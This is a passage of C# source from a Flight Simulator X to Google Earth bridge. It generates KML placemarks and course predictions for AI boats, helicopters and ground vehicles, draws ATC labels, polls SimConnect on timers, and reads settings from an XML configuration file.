szTemp += "<Placemark><name>" + bmsoTemp.bmsoObject.szATCType + " " + bmsoTemp.bmsoObject.szATCModel + " (" + bmsoTemp.bmsoObject.szATCID + ")</name><description>Course prediction of the helicopter.</description><visibility>1</visibility><open>0</open><Style><LineStyle><color>9fd20091</color><width>2</width></LineStyle></Style><LineString><altitudeMode>absolute</altitudeMode><coordinates>" + bmsoTemp.szCoursePrediction + "</coordinates></LineString></Placemark>";
PathPositionStored[] ppsTemp = bmsoTemp.ppsPredictionPoints;
szTemp += KmlGenETAPoints(ref ppsTemp, gconffixCurrent.bPredictPointsAIHelicopters, AccessMode, KML_ICON_TYPES.AI_HELICOPTER_PREDICTION_POINT, szServer);
}
szTemp += "</Folder>";
}
}
return szTemp;
}
private String KmlGenAIBoat(KML_ACCESS_MODES AccessMode, String szServer)
{
String szTemp = "<Folder><name>Boat Positions</name>";
lock (lockDrrAiBoats)
{
List<DataRequestReturnObject> listTemp = GetCurrentList(ref drrAIBoats);
foreach (DataRequestReturnObject bmsoTemp in listTemp)
{
szTemp += "<Placemark>" +
"<name>" + bmsoTemp.bmsoObject.szTitle + "</name><visibility>1</visibility><open>0</open>" +
"<description><![CDATA[Microsoft Flight Simulator X - AI Boat<br> <br>" +
"<b>Title:</b> " + bmsoTemp.bmsoObject.szTitle + "<br> <br>" +
"<b>Altitude:</b> " + ((int)getValueInCurrentUnit(bmsoTemp.bmsoObject.dAltitude)).ToString().Replace(",", ".") + " " + getCurrentUnitNameShort() + "<br> <br>" +
"<center><img src=\"" + KmlGetImageLink(AccessMode, KML_IMAGE_TYPES.WATER, bmsoTemp.bmsoObject.szTitle, szServer) + "\"></center>]]></description>" +
"<Snippet>Altitude: " + ((int)getValueInCurrentUnit(bmsoTemp.bmsoObject.dAltitude)).ToString().Replace(",", ".") + " " + getCurrentUnitNameShort() + "</Snippet>" +
"<Style>" +
"<IconStyle><Icon><href>" + KmlGetIconLink(AccessMode, KML_ICON_TYPES.AI_BOAT, szServer) + "</href></Icon><scale>0.6</scale></IconStyle>" +
"<LabelStyle><scale>0.6</scale></LabelStyle>" +
"</Style>" +
"<Point><altitudeMode>absolute</altitudeMode><coordinates>" + bmsoTemp.bmsoObject.dLongitude.ToString().Replace(",", ".") + "," + bmsoTemp.bmsoObject.dLatitude.ToString().Replace(",", ".") + "," + bmsoTemp.bmsoObject.dAltitude.ToString().Replace(",", ".") + "</coordinates><extrude>1</extrude></Point></Placemark>";
}
szTemp += "</Folder>";
if (gconffixCurrent.bPredictAIBoats)
{
szTemp += "<Folder><name>Boat Courses</name>";
foreach (DataRequestReturnObject bmsoTemp in listTemp)
{
if (bmsoTemp.szCoursePrediction == "")
continue;
szTemp += "<Placemark><name>" + bmsoTemp.bmsoObject.szTitle + "</name><description>Course prediction of the boat.</description><visibility>1</visibility><open>0</open><Style><LineStyle><color>9f00b545</color><width>2</width></LineStyle></Style><LineString><altitudeMode>absolute</altitudeMode><coordinates>" + bmsoTemp.szCoursePrediction + "</coordinates></LineString></Placemark>";
PathPositionStored[] ppsTemp = bmsoTemp.ppsPredictionPoints;
szTemp += KmlGenETAPoints(ref ppsTemp, gconffixCurrent.bPredictPointsAIBoats, AccessMode, KML_ICON_TYPES.AI_BOAT_PREDICTION_POINT, szServer);
}
szTemp += "</Folder>";
}
}
return szTemp;
}
private String KmlGenAIGroundUnit(KML_ACCESS_MODES AccessMode, String szServer)
{
String szTemp = "<Folder><name>Ground Vehicle Positions</name>";
lock (lockDrrAiGround)
{
List<DataRequestReturnObject> listTemp = GetCurrentList(ref drrAIGround);
foreach (DataRequestReturnObject bmsoTemp in listTemp)
{
szTemp += "<Placemark>" +
"<name>" + bmsoTemp.bmsoObject.szTitle + "</name><visibility>1</visibility><open>0</open>" +
"<description><![CDATA[Microsoft Flight Simulator X - AI Vehicle<br> <br>" +
"<b>Title:</b> " + bmsoTemp.bmsoObject.szTitle + "<br> <br>" +
"<b>Altitude:</b> " + ((int)getValueInCurrentUnit(bmsoTemp.bmsoObject.dAltitude)).ToString().Replace(",", ".") + " " + getCurrentUnitNameShort() + "<br> <br>" +
"<center><img src=\"" + KmlGetImageLink(AccessMode, KML_IMAGE_TYPES.GROUND, bmsoTemp.bmsoObject.szTitle, szServer) + "\"></center>]]></description>" +
"<Snippet>Altitude: " + ((int)getValueInCurrentUnit(bmsoTemp.bmsoObject.dAltitude)).ToString().Replace(",", ".") + " " + getCurrentUnitNameShort() + "</Snippet>" +
"<Style>" +
"<IconStyle><Icon><href>" + KmlGetIconLink(AccessMode, KML_ICON_TYPES.AI_GROUND_UNIT, szServer) + "</href></Icon><scale>0.6</scale></IconStyle>" +
"<LabelStyle><scale>0.6</scale></LabelStyle>" +
"</Style>" +
"<Point><altitudeMode>absolute</altitudeMode><coordinates>" + bmsoTemp.bmsoObject.dLongitude.ToString().Replace(",", ".") + "," + bmsoTemp.bmsoObject.dLatitude.ToString().Replace(",", ".") + "," + bmsoTemp.bmsoObject.dAltitude.ToString().Replace(",", ".") + "</coordinates><extrude>1</extrude></Point></Placemark>";
}
szTemp += "</Folder>";
if (gconffixCurrent.bPredictAIGroundUnits)
{
szTemp += "<Folder><name>Ground Vehicle Courses</name>";
foreach (DataRequestReturnObject bmsoTemp in listTemp)
{
if (bmsoTemp.szCoursePrediction == "")
continue;
szTemp += "<Placemark><name>" + bmsoTemp.bmsoObject.szTitle + "</name><description>Course prediction of the ground vehicle.</description><visibility>1</visibility><open>0</open><Style><LineStyle><color>9f00b545</color><width>2</width></LineStyle></Style><LineString><altitudeMode>absolute</altitudeMode><coordinates>" + bmsoTemp.szCoursePrediction + "</coordinates></LineString></Placemark>";
PathPositionStored[] ppsTemp = bmsoTemp.ppsPredictionPoints;
szTemp += KmlGenETAPoints(ref ppsTemp, gconffixCurrent.bPredictPointsAIGroundUnits, AccessMode, KML_ICON_TYPES.AI_GROUND_PREDICTION_POINT, szServer);
}
szTemp += "</Folder>";
}
}
return szTemp;
}
private byte[] KmlGenAtcLabel(String CallSign, String FL, String Aircraft, String Speed, String VerticalSpeed)
{
Bitmap bmp = new Bitmap(imgAtcLabel);
Graphics g = Graphics.FromImage(bmp);
Pen pen = new Pen(Color.FromArgb(81, 255, 147));
Brush brush = new SolidBrush(Color.FromArgb(81, 255, 147));
Font font = new Font("Courier New", 10, FontStyle.Bold);
Font font_small = new Font("Courier New", 6, FontStyle.Bold);
float fX = 72;
float fY = 13;
g.DrawString(CallSign, font, brush, new PointF(fX, fY));
fY += g.MeasureString(CallSign, font).Height;
g.DrawString(FL + " " + VerticalSpeed, font, brush, new PointF(fX, fY));
fY += g.MeasureString(FL + " " + VerticalSpeed, font).Height;
g.DrawString(Aircraft, font, brush, new PointF(fX, fY));
return BitmapToPngBytes(bmp);
}
//private String KmlGenFlightPlans(KML_ACCESS_MODES AccessMode, String szServer)
//{
// String szTemp = "";
// lock (lockFlightPlanList)
// {
// foreach (FlightPlan fpTemp in listFlightPlans)
// {
// XmlDocument xmldTemp = fpTemp.xmldPlan;
// String szTempInner = "";
// String szTempWaypoints = "";
// String szPath = "";
// try
// {
// for (XmlNode xmlnTemp = xmldTemp["SimBase.Document"]["FlightPlan.FlightPlan"].FirstChild; xmlnTemp != null; xmlnTemp = xmlnTemp.NextSibling)
// {
// if (xmlnTemp.Name.ToLower() != "atcwaypoint")
// continue;
// KML_ICON_TYPES iconType;
// String szType = xmlnTemp["ATCWaypointType"].InnerText.ToLower();
// if (szType == "intersection")
// iconType = KML_ICON_TYPES.PLAN_INTER;
// else if (szType == "ndb")
// iconType = KML_ICON_TYPES.PLAN_NDB;
// else if (szType == "vor")
// iconType = KML_ICON_TYPES.PLAN_VOR;
// else if (szType == "user")
// iconType = KML_ICON_TYPES.PLAN_USER;
// else if (szType == "airport")
// iconType = KML_ICON_TYPES.PLAN_PORT;
// else
// iconType = KML_ICON_TYPES.UNKNOWN;
// char[] szSeperator = { ',' };
// String[] szCoordinates = xmlnTemp["WorldPosition"].InnerText.Split(szSeperator);
// if (szCoordinates.GetLength(0) != 3)
// throw new System.Exception("Invalid position value");
// String szAirway = "", szICAOIdent = "", szICAORegion = "";
// if (xmlnTemp["ATCAirway"] != null)
// szAirway = xmlnTemp["ATCAirway"].InnerText;
// if (xmlnTemp["ICAO"] != null)
// {
// if (xmlnTemp["ICAO"]["ICAOIdent"] != null)
// szICAOIdent = xmlnTemp["ICAO"]["ICAOIdent"].InnerText;
// if (xmlnTemp["ICAO"]["ICAORegion"] != null)
// szICAORegion = xmlnTemp["ICAO"]["ICAORegion"].InnerText;
// }
// double dCurrentLong = ConvertDegToDouble(szCoordinates[1]);
// double dCurrentLat = ConvertDegToDouble(szCoordinates[0]);
// double dCurrentAlt = System.Double.Parse(szCoordinates[2]);
// szTempWaypoints += "<Placemark>" +
// "<name>" + xmlnTemp["ATCWaypointType"].InnerText + " (" + xmlnTemp.Attributes["id"].Value + ")</name><visibility>1</visibility><open>0</open>" +
// "<description><![CDATA[Flight Plane Element<br> <br>" +
// "<b>Waypoint Type:</b> " + xmlnTemp["ATCWaypointType"].InnerText + "<br> <br>" +
// (szAirway != "" ? "<b>ATC Airway:</b> " + szAirway + "<br> <br>" : "") +
// (szICAOIdent != "" ? "<b>ICAO Identification:</b> " + szICAOIdent + "<br>" : "") +
// (szICAORegion != "" ? "<b>ICAO Region:</b> " + szICAORegion : "") +
// "]]></description>" +
// "<Snippet>Waypoint Type: " + xmlnTemp["ATCWaypointType"].InnerText + (szAirway != "" ? "\nAirway: " + szAirway : "") + "</Snippet>" +
// "<Style>" +
// "<IconStyle><Icon><href>" + KmlGetIconLink(AccessMode, iconType, szServer) + "</href></Icon><scale>1.0</scale></IconStyle>" +
// "<LabelStyle><scale>0.6</scale></LabelStyle>" +
// "</Style>" +
// "<Point><altitudeMode>clampToGround</altitudeMode><coordinates>" + dCurrentLong.ToString().Replace(",", ".") + "," + dCurrentLat.ToString().Replace(",", ".") + "," + dCurrentAlt.ToString().Replace(",", ".") + "</coordinates><extrude>1</extrude></Point></Placemark>";
// szPath += dCurrentLong.ToString().Replace(",", ".") + "," + dCurrentLat.ToString().Replace(",", ".") + "," + dCurrentAlt.ToString().Replace(",", ".") + "\n";
// }
// szTempInner = "<Folder><open>0</open>" +
// "<name>" + (xmldTemp["SimBase.Document"]["FlightPlan.FlightPlan"]["Title"] != null ? xmldTemp["SimBase.Document"]["FlightPlan.FlightPlan"]["Title"].InnerText : "n/a") + "</name>" +
// "<description><![CDATA[" +
// "Type: " + (xmldTemp["SimBase.Document"]["FlightPlan.FlightPlan"]["FPType"] != null ? xmldTemp["SimBase.Document"]["FlightPlan.FlightPlan"]["FPType"].InnerText : "n/a") + " (" + (xmldTemp["SimBase.Document"]["FlightPlan.FlightPlan"]["RouteType"] != null ? xmldTemp["SimBase.Document"]["FlightPlan.FlightPlan"]["RouteType"].InnerText : "n/a") + ")<br>" +
// "Flight from " + (xmldTemp["SimBase.Document"]["FlightPlan.FlightPlan"]["DepartureName"] != null ? xmldTemp["SimBase.Document"]["FlightPlan.FlightPlan"]["DepartureName"].InnerText : "n/a") + " to " + (xmldTemp["SimBase.Document"]["FlightPlan.FlightPlan"]["DestinationName"] != null ? xmldTemp["SimBase.Document"]["FlightPlan.FlightPlan"]["DestinationName"].InnerText : "n/a") + ".<br> <br>" +
// "Altitude: " + (xmldTemp["SimBase.Document"]["FlightPlan.FlightPlan"]["CruisingAlt"] != null ? xmldTemp["SimBase.Document"]["FlightPlan.FlightPlan"]["CruisingAlt"].InnerText : "n/a") +
// "]]></description>" +
// "<Placemark><name>Path</name><Style><LineStyle><color>9f1ab6ff</color><width>2</width></LineStyle></Style><LineString><tessellate>1</tessellate><altitudeMode>clampToGround</altitudeMode><coordinates>" + szPath + "</coordinates></LineString></Placemark>" +
// "<Folder><open>0</open><name>Waypoints</name>" + szTempWaypoints + "</Folder>" +
// "</Folder>";
// }
// catch
// {
// szTemp += "<Folder><name>Invalid Flight Plan</name><snippet>Error loading flight plan.</snippet></Folder>";
// continue;
// }
// szTemp += szTempInner;
// }
// }
// return szTemp;
//}
#endregion
#region Update Check
// private void checkForProgramUpdate()
// {
// try
// {
// szOnlineVersionCheckData = "";
// wrOnlineVersionCheck = WebRequest.Create("http://juergentreml.online.de/fsxget/provide/version.txt");
// wrOnlineVersionCheck.BeginGetResponse(new AsyncCallback(RespCallback), wrOnlineVersionCheck);
// }
// catch
// {
//#if DEBUG
// notifyIconMain.ShowBalloonTip(5, Text, "Couldn't check for program update online!", ToolTipIcon.Warning);
//#endif
// }
// }
// private void RespCallback(IAsyncResult asynchronousResult)
// {
// try
// {
// WebRequest myWebRequest = (WebRequest)asynchronousResult.AsyncState;
// wrespOnlineVersionCheck = myWebRequest.EndGetResponse(asynchronousResult);
// Stream responseStream = wrespOnlineVersionCheck.GetResponseStream();
// responseStream.BeginRead(bOnlineVersionCheckRawData, 0, iOnlineVersionCheckRawDataLength, new AsyncCallback(ReadCallBack), responseStream);
// }
// catch
// {
//#if DEBUG
// notifyIconMain.ShowBalloonTip(5, Text, "Couldn't check for program update online!", ToolTipIcon.Warning);
//#endif
// }
// }
// private void ReadCallBack(IAsyncResult asyncResult)
// {
// try
// {
// Stream responseStream = (Stream)asyncResult.AsyncState;
// int iRead = responseStream.EndRead(asyncResult);
// if (iRead > 0)
// {
// szOnlineVersionCheckData += Encoding.ASCII.GetString(bOnlineVersionCheckRawData, 0, iRead);
// responseStream.BeginRead(bOnlineVersionCheckRawData, 0, iOnlineVersionCheckRawDataLength, new AsyncCallback(ReadCallBack), responseStream);
// }
// else
// {
// responseStream.Close();
// wrespOnlineVersionCheck.Close();
// char[] szSeperator = { '.' };
// String[] szVersionLocal = Application.ProductVersion.Split(szSeperator);
// String[] szVersionOnline = szOnlineVersionCheckData.Split(szSeperator);
// for (int i = 0; i < Math.Min(szVersionLocal.GetLength(0), szVersionOnline.GetLength(0)); i++)
// {
// if (Int64.Parse(szVersionOnline[i]) > Int64.Parse(szVersionLocal[i]))
// {
// notifyIconMain.ShowBalloonTip(30, Text, "A new program version is available!\n\nLatest Version:\t" + szOnlineVersionCheckData + "\nYour Version:\t" + Application.ProductVersion, ToolTipIcon.Info);
// break;
// }
// else if (Int64.Parse(szVersionOnline[i]) < Int64.Parse(szVersionLocal[i]))
// break;
// }
// }
// }
// catch
// {
//#if DEBUG
// notifyIconMain.ShowBalloonTip(5, Text, "Couldn't check for program update online!", ToolTipIcon.Warning);
//#endif
// }
// }
#endregion
#region Timers
private void timerFSXConnect_Tick(object sender, EventArgs e)
{
if (openConnection())
{
timerFSXConnect.Stop();
bConnected = true;
notifyIconMain.Icon = icReceive;
notifyIconMain.Text = Text + "(Waiting for connection...)";
safeShowBalloonTip(1000, Text, "Connected to FSX!", ToolTipIcon.Info);
}
}
private void timerIPAddressRefresh_Tick(object sender, EventArgs e)
{
IPHostEntry ipheLocalhost1 = Dns.GetHostEntry(Dns.GetHostName());
IPHostEntry ipheLocalhost2 = Dns.GetHostEntry("localhost");
lock (lockIPAddressList)
{
ipalLocal1 = ipheLocalhost1.AddressList;
ipalLocal2 = ipheLocalhost2.AddressList;
}
}
private void timerQueryUserAircraft_Tick(object sender, EventArgs e)
{
simconnect.RequestDataOnSimObjectType(DATA_REQUESTS.REQUEST_USER_AIRCRAFT, DEFINITIONS.StructBasicMovingSceneryObject, 0, SIMCONNECT_SIMOBJECT_TYPE.USER);
}
private void timerQueryUserPath_Tick(object sender, EventArgs e)
{
simconnect.RequestDataOnSimObjectType(DATA_REQUESTS.REQUEST_USER_PATH, DEFINITIONS.StructBasicMovingSceneryObject, 0, SIMCONNECT_SIMOBJECT_TYPE.USER);
}
private void timerUserPrediction_Tick(object sender, EventArgs e)
{
simconnect.RequestDataOnSimObjectType(DATA_REQUESTS.REQUEST_USER_PREDICTION, DEFINITIONS.StructBasicMovingSceneryObject, 0, SIMCONNECT_SIMOBJECT_TYPE.USER);
}
private void timerQueryAIAircrafts_Tick(object sender, EventArgs e)
{
simconnect.RequestDataOnSimObjectType(DATA_REQUESTS.REQUEST_AI_PLANE, DEFINITIONS.StructBasicMovingSceneryObject, (uint)gconffixCurrent.iRangeAIAircrafts, SIMCONNECT_SIMOBJECT_TYPE.AIRCRAFT);
}
private void timerQueryAIHelicopters_Tick(object sender, EventArgs e)
{
simconnect.RequestDataOnSimObjectType(DATA_REQUESTS.REQUEST_AI_HELICOPTER, DEFINITIONS.StructBasicMovingSceneryObject, (uint)gconffixCurrent.iRangeAIHelicopters, SIMCONNECT_SIMOBJECT_TYPE.HELICOPTER);
}
private void timerQueryAIBoats_Tick(object sender, EventArgs e)
{
simconnect.RequestDataOnSimObjectType(DATA_REQUESTS.REQUEST_AI_BOAT, DEFINITIONS.StructBasicMovingSceneryObject, (uint)gconffixCurrent.iRangeAIBoats, SIMCONNECT_SIMOBJECT_TYPE.BOAT);
}
private void timerQueryAIGroundUnits_Tick(object sender, EventArgs e)
{
simconnect.RequestDataOnSimObjectType(DATA_REQUESTS.REQUEST_AI_GROUND, DEFINITIONS.StructBasicMovingSceneryObject, (uint)gconffixCurrent.iRangeAIGroundUnits, SIMCONNECT_SIMOBJECT_TYPE.GROUND);
}
#endregion
#region Config File Read & Write
private void ConfigMirrorToVariables()
{
gconffixCurrent.bExitOnFsxExit = (xmldSettings["fsxget"]["settings"]["options"]["general"]["application-startup"].Attributes["Exit"].Value.ToLower() == "true");
lock (lockChConf)
{
gconfchCurrent.bEnabled = (xmldSettings["fsxget"]["settings"]["options"]["general"]["enable-on-startup"].Attributes["Enabled"].Value == "1");
gconfchCurrent.bShowBalloons = (xmldSettings["fsxget"]["settings"]["options"]["general"]["show-balloon-tips"].Attributes["Enabled"].Value == "1");
}
gconffixCurrent.bLoadKMLFile = (xmldSettings["fsxget"]["settings"]["options"]["general"]["load-kml-file"].Attributes["Enabled"].Value == "1");
//gconffixCurrent.bCheckForUpdates = (xmldSettings["fsxget"]["settings"]["options"]["general"]["update-check"].Attributes["Enabled"].Value == "1");
gconffixCurrent.iTimerUserAircraft = System.Int64.Parse(xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-user-aircraft"].Attributes["Interval"].Value);
gconffixCurrent.bQueryUserAircraft = (xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-user-aircraft"].Attributes["Enabled"].Value == "1");
gconffixCurrent.iTimerUserPath = System.Int64.Parse(xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-user-path"].Attributes["Interval"].Value);
gconffixCurrent.bQueryUserPath = (xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-user-path"].Attributes["Enabled"].Value == "1");
gconffixCurrent.iTimerUserPathPrediction = System.Int64.Parse(xmldSettings["fsxget"]["settings"]["options"]["fsx"]["user-path-prediction"].Attributes["Interval"].Value);
gconffixCurrent.bUserPathPrediction = (xmldSettings["fsxget"]["settings"]["options"]["fsx"]["user-path-prediction"].Attributes["Enabled"].Value == "1");
int iCount = 0;
for (XmlNode xmlnTemp = xmldSettings["fsxget"]["settings"]["options"]["fsx"]["user-path-prediction"].FirstChild; xmlnTemp != null; xmlnTemp = xmlnTemp.NextSibling)
{
if (xmlnTemp.Name == "prediction-point")
iCount++;
}
gconffixCurrent.dPredictionTimes = new double[iCount];
iCount = 0;
for (XmlNode xmlnTemp = xmldSettings["fsxget"]["settings"]["options"]["fsx"]["user-path-prediction"].FirstChild; xmlnTemp != null; xmlnTemp = xmlnTemp.NextSibling)
{
if (xmlnTemp.Name == "prediction-point")
{
gconffixCurrent.dPredictionTimes[iCount] = System.Int64.Parse(xmlnTemp.Attributes["Time"].Value);
iCount++;
}
}
gconffixCurrent.iTimerAIAircrafts = System.Int64.Parse(xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-aircrafts"].Attributes["Interval"].Value);
gconffixCurrent.iRangeAIAircrafts = System.Int64.Parse(xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-aircrafts"].Attributes["Range"].Value);
gconffixCurrent.bQueryAIAircrafts = (xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-aircrafts"].Attributes["Enabled"].Value == "1");
gconffixCurrent.bPredictAIAircrafts = (xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-aircrafts"].Attributes["Prediction"].Value == "1");
gconffixCurrent.bPredictPointsAIAircrafts = (xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-aircrafts"].Attributes["PredictionPoints"].Value == "1");
gconffixCurrent.iTimerAIHelicopters = System.Int64.Parse(xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-helicopters"].Attributes["Interval"].Value);
gconffixCurrent.iRangeAIHelicopters = System.Int64.Parse(xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-helicopters"].Attributes["Range"].Value);
gconffixCurrent.bQueryAIHelicopters = (xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-helicopters"].Attributes["Enabled"].Value == "1");
gconffixCurrent.bPredictAIHelicopters = (xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-helicopters"].Attributes["Prediction"].Value == "1");
gconffixCurrent.bPredictPointsAIHelicopters = (xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-helicopters"].Attributes["PredictionPoints"].Value == "1");
gconffixCurrent.iTimerAIBoats = System.Int64.Parse(xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-boats"].Attributes["Interval"].Value);
gconffixCurrent.iRangeAIBoats = System.Int64.Parse(xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-boats"].Attributes["Range"].Value);
gconffixCurrent.bQueryAIBoats = (xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-boats"].Attributes["Enabled"].Value == "1");
gconffixCurrent.bPredictAIBoats = (xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-boats"].Attributes["Prediction"].Value == "1");
gconffixCurrent.bPredictPointsAIBoats = (xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-boats"].Attributes["PredictionPoints"].Value == "1");
gconffixCurrent.iTimerAIGroundUnits = System.Int64.Parse(xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-ground-units"].Attributes["Interval"].Value);
gconffixCurrent.iRangeAIGroundUnits = System.Int64.Parse(xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-ground-units"].Attributes["Range"].Value);
gconffixCurrent.bQueryAIGroundUnits = (xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-ground-units"].Attributes["Enabled"].Value == "1");
gconffixCurrent.bPredictAIGroundUnits = (xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-ground-units"].Attributes["Prediction"].Value == "1");
gconffixCurrent.bPredictPointsAIGroundUnits = (xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-ground-units"].Attributes["PredictionPoints"].Value == "1");
gconffixCurrent.bQueryAIObjects = (xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"].Attributes["Enabled"].Value == "1");
gconffixCurrent.iUpdateGEUserAircraft = System.Int64.Parse(xmldSettings["fsxget"]["settings"]["options"]["ge"]["refresh-rates"]["user-aircraft"].Attributes["Interval"].Value);
gconffixCurrent.iUpdateGEUserPath = System.Int64.Parse(xmldSettings["fsxget"]["settings"]["options"]["ge"]["refresh-rates"]["user-path"].Attributes["Interval"].Value);
gconffixCurrent.iUpdateGEUserPrediction = System.Int64.Parse(xmldSettings["fsxget"]["settings"]["options"]["ge"]["refresh-rates"]["user-path-prediction"].Attributes["Interval"].Value);
gconffixCurrent.iUpdateGEAIAircrafts = System.Int64.Parse(xmldSettings["fsxget"]["settings"]["options"]["ge"]["refresh-rates"]["ai-aircrafts"].Attributes["Interval"].Value);
gconffixCurrent.iUpdateGEAIHelicopters = System.Int64.Parse(xmldSettings["fsxget"]["settings"]["options"]["ge"]["refresh-rates"]["ai-helicopters"].Attributes["Interval"].Value);
gconffixCurrent.iUpdateGEAIBoats = System.Int64.Parse(xmldSettings["fsxget"]["settings"]["options"]["ge"]["refresh-rates"]["ai-boats"].Attributes["Interval"].Value);
gconffixCurrent.iUpdateGEAIGroundUnits = System.Int64.Parse(xmldSettings["fsxget"]["settings"]["options"]["ge"]["refresh-rates"]["ai-ground-units"].Attributes["Interval"].Value);
gconffixCurrent.iServerPort = System.Int64.Parse(xmldSettings["fsxget"]["settings"]["options"]["ge"]["server-settings"]["port"].Attributes["Value"].Value);
gconffixCurrent.uiServerAccessLevel = (uint)System.Int64.Parse(xmldSettings["fsxget"]["settings"]["options"]["ge"]["server-settings"]["access-level"].Attributes["Value"].Value);
gconffixCurrent.bFsxConnectionIsLocal = (xmldSettings["fsxget"]["settings"]["options"]["fsx"]["connection"].Attributes["Local"].Value.ToLower() == "true");
gconffixCurrent.szFsxConnectionHost = xmldSettings["fsxget"]["settings"]["options"]["fsx"]["connection"].Attributes["Host"].Value;
gconffixCurrent.szFsxConnectionPort = xmldSettings["fsxget"]["settings"]["options"]["fsx"]["connection"].Attributes["Port"].Value;
gconffixCurrent.szFsxConnectionProtocol = xmldSettings["fsxget"]["settings"]["options"]["fsx"]["connection"].Attributes["Protocol"].Value;
//gconffixCurrent.bLoadFlightPlans = (xmldSettings["fsxget"]["settings"]["options"]["flightplans"].Attributes["Enabled"].Value == "1");
gconffixCurrent.utUnits = (UnitType)System.Int64.Parse(xmldSettings["fsxget"]["settings"]["options"]["ge"]["units"].InnerText);
gconffixCurrent.szUserdefinedPath = "";
}
private void ConfigMirrorToForm()
{
checkBox1.Checked = (xmldSettings["fsxget"]["settings"]["options"]["general"]["application-startup"].Attributes["Exit"].Value.ToLower() == "true");
checkEnableOnStartup.Checked = (xmldSettings["fsxget"]["settings"]["options"]["general"]["enable-on-startup"].Attributes["Enabled"].Value == "1");
checkShowInfoBalloons.Checked = (xmldSettings["fsxget"]["settings"]["options"]["general"]["show-balloon-tips"].Attributes["Enabled"].Value == "1");
checkBoxLoadKMLFile.Checked = (xmldSettings["fsxget"]["settings"]["options"]["general"]["load-kml-file"].Attributes["Enabled"].Value == "1");
//checkBoxUpdateCheck.Checked = (xmldSettings["fsxget"]["settings"]["options"]["general"]["update-check"].Attributes["Enabled"].Value == "1");
numericUpDownQueryUserAircraft.Value = System.Int64.Parse(xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-user-aircraft"].Attributes["Interval"].Value);
checkQueryUserAircraft.Checked = (xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-user-aircraft"].Attributes["Enabled"].Value == "1");
numericUpDownQueryUserPath.Value = System.Int64.Parse(xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-user-path"].Attributes["Interval"].Value);
checkQueryUserPath.Checked = (xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-user-path"].Attributes["Enabled"].Value == "1");
numericUpDownUserPathPrediction.Value = System.Int64.Parse(xmldSettings["fsxget"]["settings"]["options"]["fsx"]["user-path-prediction"].Attributes["Interval"].Value);
checkBoxUserPathPrediction.Checked = (xmldSettings["fsxget"]["settings"]["options"]["fsx"]["user-path-prediction"].Attributes["Enabled"].Value == "1");
listBoxPathPrediction.Items.Clear();
for (XmlNode xmlnTemp = xmldSettings["fsxget"]["settings"]["options"]["fsx"]["user-path-prediction"].FirstChild; xmlnTemp != null; xmlnTemp = xmlnTemp.NextSibling)
{
if (xmlnTemp.Name == "prediction-point")
{
ListBoxPredictionTimesItem lbptiTemp = new ListBoxPredictionTimesItem();
lbptiTemp.dTime = System.Int64.Parse(xmlnTemp.Attributes["Time"].Value);
bool bInserted = false;
for (int n = 0; n < listBoxPathPrediction.Items.Count; n++)
{
if (((ListBoxPredictionTimesItem)listBoxPathPrediction.Items[n]).dTime > lbptiTemp.dTime)
{
listBoxPathPrediction.Items.Insert(n, lbptiTemp);
bInserted = true;
break;
}
}
if (!bInserted)
listBoxPathPrediction.Items.Add(lbptiTemp);
}
}
numericUpDownQueryAIAircraftsInterval.Value = System.Int64.Parse(xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-aircrafts"].Attributes["Interval"].Value);
numericUpDownQueryAIAircraftsRadius.Value = System.Int64.Parse(xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-aircrafts"].Attributes["Range"].Value);
checkBoxAIAircraftsPredictPoints.Checked = (xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-aircrafts"].Attributes["PredictionPoints"].Value == "1");
checkBoxAIAircraftsPredict.Checked = (xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-aircrafts"].Attributes["Prediction"].Value == "1");
checkBoxAIAircraftsPredict_CheckedChanged(null, null);
checkBoxQueryAIAircrafts.Checked = (xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-aircrafts"].Attributes["Enabled"].Value == "1");
checkBoxQueryAIAircrafts_CheckedChanged(null, null);
numericUpDownQueryAIHelicoptersInterval.Value = System.Int64.Parse(xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-helicopters"].Attributes["Interval"].Value);
